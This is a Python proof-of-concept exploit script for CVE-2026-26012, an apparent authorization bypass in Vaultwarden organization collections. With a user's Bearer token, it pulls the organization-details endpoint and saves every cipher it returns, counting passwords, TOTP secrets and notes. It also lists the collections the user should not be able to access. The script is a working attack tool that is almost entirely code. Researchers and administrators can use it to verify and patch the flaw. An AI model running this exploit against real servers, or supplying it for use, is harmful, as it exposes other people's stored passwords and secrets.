#!/usr/bin/env python3 import argparse import json import re import sys from urllib.error import HTTPError, URLError from urllib.parse import urljoin from urllib.request import Request, urlopen UUID_PATTERN = re.compile( r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$" ) def banner(): print(""" \033[1;31m @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@ @@@@@@ @@@@@@ @@@@@@ @@@@@@@@ @@@ @@@@@@ @@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@@@ @@@@ @@@@@@@@ !@@ @@! @@@ @@! @@@ @@! @@@@ @@@ !@@ @@@ !@@ @@! @@@@ @@@!! @@@ !@! !@! @!@ !@! @!@ !@! @!@!@ @!@ !@! @!@ !@! !@! @!@!@ !@! @!@ !@! @!@ !@! @!!!:! @!@!@!@!@ !!@ @!@ @! !@! !!@ !!@@!@! @!@!@!@!@ !!@ !!@@!@! @!@ @! !@! @!@ !!@ !!! !@! !!! !!!!!: !!!@!@!!! !!: !@!!! !!! !!: @!!@!!!! !!!@!@!!! !!: @!!@!!!! !@!!! !!! !@! !!: :!! :!: !!: !!: !:! !!:! !!! !:! !:! !:! !:! !:! !:! !!:! !!! !!: !:! :!: ::!!:! :!: :!: :!: !:! :!: :!: !:! :!: :!: !:! :!: !:! :!: :!: ::: ::: :::: :: :::: :: ::::: ::::::: :: :: ::::: :::: ::: :: ::::: :::: ::: ::::::: :: ::: :: ::::: :: :: : : : :: :: :: : ::: : : : : :: : ::: :: : : :: : ::: :: : : : : : : :: :: : ::: ░ ░ \033[1;m Author: Diégo BAELEN GitHub: https://github.com/diegobaelen \033[1;31mFilename: CVE-2026-26012.py\033[0m \033[1;31mDescription: Authentified Organization Collection Permissions Bypass & Cipher Enumeration (Vaultwarden)\033[0m """) def menu() -> None: print("\n\033[1;34m" + "=" * 70 + "\033[0m") print("\033[1;34m[1]\033[0m Export organization-details to JSON") print("\033[1;34m[2]\033[0m Compare collections (/api/ciphers/organization-details vs /api/collections)") print("\033[1;34m[0]\033[0m Quit") print("\033[1;34m" + "=" * 70 + "\033[0m") def is_valid_uuid(value: str) -> bool: return bool(UUID_PATTERN.match(value)) def normalize_target(target: str) -> str: base = target.rstrip("/") if not base.startswith(("http://", "https://")): base = "https://" + base return base def format_network_error(exc: URLError | HTTPError) -> str: """Return a user-friendly message for network/HTTP errors.""" if isinstance(exc, HTTPError) and exc.code == 401: return "Authentication failed (401 Unauthorized). Check your Bearer token." return f"Network error: {exc}" def fetch_json(headers: dict, base_url: str, path: str) -> dict | None: url = urljoin(base_url + "/", path.lstrip("/")) req = Request(url, headers=headers) with urlopen(req, timeout=30) as resp: return json.loads(resp.read().decode()) CIPHER_TYPE_LABELS = { 1: "Login", 2: "Secure note", 3: "Card", 4: "Identity", } def compute_export_stats(data: dict) -> dict: """Compute statistics from organization-details API response.""" items = data.get("data") or [] total = 0 by_type: dict[int, int] = {} deleted = 0 all_collection_ids: set[str] = set() with_attachments = 0 with_totp = 0 with_password = 0 with_notes = 0 with_reprompt = 0 for item in items: if item.get("object") != "cipherDetails": continue total += 1 t = item.get("type") if t is not None: by_type[t] = by_type.get(t, 0) + 1 if item.get("deletedDate") is not None: deleted += 1 for cid in item.get("collectionIds") or []: all_collection_ids.add(cid) if item.get("attachments") and isinstance(item["attachments"], list): with_attachments += 1 login = item.get("login") or {} data_obj = item.get("data") or {} if login.get("totp") or data_obj.get("totp"): with_totp += 1 if login.get("password") or data_obj.get("password"): with_password += 1 if item.get("notes") or data_obj.get("notes"): with_notes += 1 if item.get("reprompt", 0) != 0: with_reprompt += 1 return { "total": total, "by_type": by_type, "deleted": deleted, "active": total - deleted, "unique_collections": len(all_collection_ids), "with_attachments": with_attachments, "with_totp": with_totp, "with_password": with_password, "with_notes": with_notes, "with_reprompt": with_reprompt, } def print_export_stats(stats: dict) -> None: """Print organization-details statistics to the console.""" w = 22 # label width for vertical alignment of numbers print("\n\033[1;34m[+] Statistics (organization-details)\033[0m") print(f" {'Total ciphers:':<{w}} {stats['total']}") type_parts = [] for t in sorted(stats["by_type"].keys()): label = CIPHER_TYPE_LABELS.get(t, "Other") type_parts.append(f"{label}: {stats['by_type'][t]}") print(f" {'By type:':<{w}} " + (", ".join(type_parts) if type_parts else "—")) print(f" {'Active / Deleted:':<{w}} {stats['active']} / {stats['deleted']}") print(f" {'Unique collections:':<{w}} {stats['unique_collections']}") print(f" {'With attachments:':<{w}} {stats['with_attachments']}") print(f" {'With TOTP:':<{w}} {stats['with_totp']}") print(f" {'With password:':<{w}} {stats['with_password']}") print(f" {'With notes:':<{w}} {stats['with_notes']}") print(f" {'With reprompt:':<{w}} {stats['with_reprompt']}") def run_export(args: argparse.Namespace, headers: dict) -> dict | None: path = f"/api/ciphers/organization-details?organizationId={args.organization_id}" data = fetch_json(headers, args.target, path) if data is None: return None stats = compute_export_stats(data) print_export_stats(stats) out_path = args.output or "CVE-2026-26012.json" with open(out_path, "w", encoding="utf-8") as f: json.dump(data, f, indent=2, ensure_ascii=False) print(f"\n[+] Export saved: {out_path}") with open(out_path, "r", encoding="utf-8") as f: lines = f.readlines() print("\n[+] First 20 lines of output:") print("-" * 40) for line in lines[:20]: print(line.rstrip()) print("-" * 40) return data def run_compare(args: argparse.Namespace, headers: dict) -> None: # Collections the user has access to coll_resp = fetch_json(headers, args.target, "/api/collections") if not coll_resp or "data" not in coll_resp: print("[+] Unable to fetch /api/collections") return my_collection_ids = {c["id"] for c in coll_resp["data"] if c.get("id")} # All collectionIds present in organization-details (cid) org_path = f"/api/ciphers/organization-details?organizationId={args.organization_id}" org_data = fetch_json(headers, args.target, org_path) if not org_data or "data" not in org_data: print("[+] Unable to fetch organization-details") return all_cid_in_org = set() for item in org_data["data"]: for cid in item.get("collectionIds") or []: all_cid_in_org.add(cid) # Access discrepancy: collections exposed by organization-details that the user does not have access to only_in_org = all_cid_in_org - my_collection_ids if only_in_org: print("\033[1;34m" + "="*70 + "\033[1;m") print(f"[+] Access discrepancy: {len(only_in_org)} collection(s)") for cid in sorted(only_in_org): print(f"[+] {cid}") else: print("\033[1;34m" + "="*70 + "\033[1;m") print("[+] Access discrepancy: none") def run_interactive() -> None: banner() last_url = "" last_token = "" last_org_id = "" last_output = "" while True: try: menu() choice = input("\n\033[1;34m[+]\033[0m Your choice: ").strip() if choice == "0": print("\n\033[1;34m[*] Goodbye.\033[0m\n") sys.exit(0) if choice not in ("1", "2"): print("\n\033[1;31m[+] Invalid choice.\033[0m") continue url_prompt = f"[+] Base URL [{last_url}]: " if last_url else "[+] Base URL: " url = (input(url_prompt).strip() or last_url) or "" token_prompt = "[+] Bearer token (leave empty to keep): " if last_token else "[+] Bearer token: " token = (input(token_prompt).strip() or last_token) or "" org_prompt = f"[+] Organization ID (UUID) [{last_org_id}]: " if last_org_id else "[+] Organization ID (UUID): " org_id = (input(org_prompt).strip() or last_org_id) or "" if not url or not token or not org_id: print("\n\033[1;31m[+] URL, token and organization-id are required.\033[0m") continue if not is_valid_uuid(org_id): print( f"\n\033[1;31mError: invalid organization-id (expected: UUID). Received: {org_id!r}\033[0m" ) continue output = last_output or "CVE-2026-26012.json" if choice == "1": out_prompt = f"[+] Output file [{output}]: " if output else "[+] Output file (default: CVE-2026-26012.json): " out_in = input(out_prompt).strip() if out_in: output = out_in last_url = url last_token = token last_org_id = org_id if choice == "1": last_output = output args = argparse.Namespace( target=normalize_target(url), token=token, organization_id=org_id, output=output, compare_collections=(choice == "2"), ) headers = { "Authorization": f"Bearer {args.token}", "Content-Type": "application/json", } try: if args.compare_collections: run_compare(args, headers) else: run_export(args, headers) except (URLError, HTTPError) as e: print(f"\033[1;31m[+] {format_network_error(e)}\033[0m") except KeyboardInterrupt: print("\n\n\033[1;34m[*] Goodbye.\033[0m\n") sys.exit(0) def main() -> None: if len(sys.argv) == 1: run_interactive() return parser = argparse.ArgumentParser( description="CVE-2026-26012 — POC export organization-details and compare collections." ) parser.add_argument( "--url", "-u", dest="target", required=True, help="Target base URL (required)", ) parser.add_argument( "--token", "-t", required=True, help="Bearer token (required)", ) parser.add_argument( "--organization-id", "-uuid", required=True, dest="organization_id", help="Organization UUID (required, validated UUID format)", ) parser.add_argument( "--output", "-o", default="CVE-2026-26012.json", help="Output JSON file (default: CVE-2026-26012.json)", ) parser.add_argument( "--compare-collections", "-c", action="store_true", help="Compare collectionIds (organization-details vs /api/collections) and display discrepancies", ) args = parser.parse_args() banner() if not is_valid_uuid(args.organization_id): print( f"Error: invalid organization-id (expected: UUID format 8-4-4-4-12). Received: {args.organization_id!r}", file=sys.stderr, ) sys.exit(2) args.target = normalize_target(args.target) headers = { "Authorization": f"Bearer {args.token}", "Content-Type": "application/json", } try: if args.compare_collections: run_compare(args, headers) else: run_export(args, headers) except (URLError, HTTPError) as e: print(f"[+] {format_network_error(e)}", file=sys.stderr) sys.exit(3) if __name__ == "__main__": main()